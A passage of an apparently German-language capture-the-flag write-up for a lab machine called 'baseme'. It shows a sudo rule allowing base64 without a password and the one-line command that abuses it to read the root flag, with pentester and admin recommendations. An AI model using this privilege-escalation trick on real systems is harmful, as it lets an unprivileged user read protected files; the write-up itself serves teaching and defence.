lucas@baseme:~$ sudo -l Matching Defaults entries for lucas on baseme: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User lucas may run the following commands on baseme: (ALL) NOPASSWD: /usr/bin/base64
Analyse: Dieser Befehl nutzt die gefundene `sudo`-Berechtigung aus, um die Root-Flag zu lesen. `sudo /usr/bin/base64 /root/root.txt` führt `base64` als Root aus und gibt den Base64-kodierten Inhalt der Root-Flag-Datei aus. Diese Ausgabe wird direkt (`|`) an den Befehl `base64 -d` weitergeleitet, der als normaler Benutzer `lucas` läuft und die kodierten Daten wieder in Klartext umwandelt.
Bewertung: !!Root-Flag erfolgreich gelesen!!** Der Befehl demonstriert erfolgreich die Ausnutzung der `sudo`-Fehlkonfiguration, um als Benutzer `lucas` den Inhalt einer Datei zu lesen, auf die nur Root Zugriff hat. Die Root-Flag, ebenfalls in ASCII-Art, lautet `HMVFKBS64`.
Empfehlung (Pentester): Beide Flags wurden gefunden, der Angriffspfad ist vollständig. Der Bericht kann abgeschlossen werden.
Empfehlung (Admin): Entferne die unsichere `sudo`-Regel für `base64` unverzüglich. Überprüfe alle anderen `sudo`-Regeln auf ähnliche Schwachstellen.
lucas@baseme:~$ sudo /usr/bin/base64 /root/root.txt | base64 -d
.
.
,
,
, ,
., ,
/
, ,
/. ..
, ,
.
.
,
, ,
, .
.
,,
,
HMVFKBS64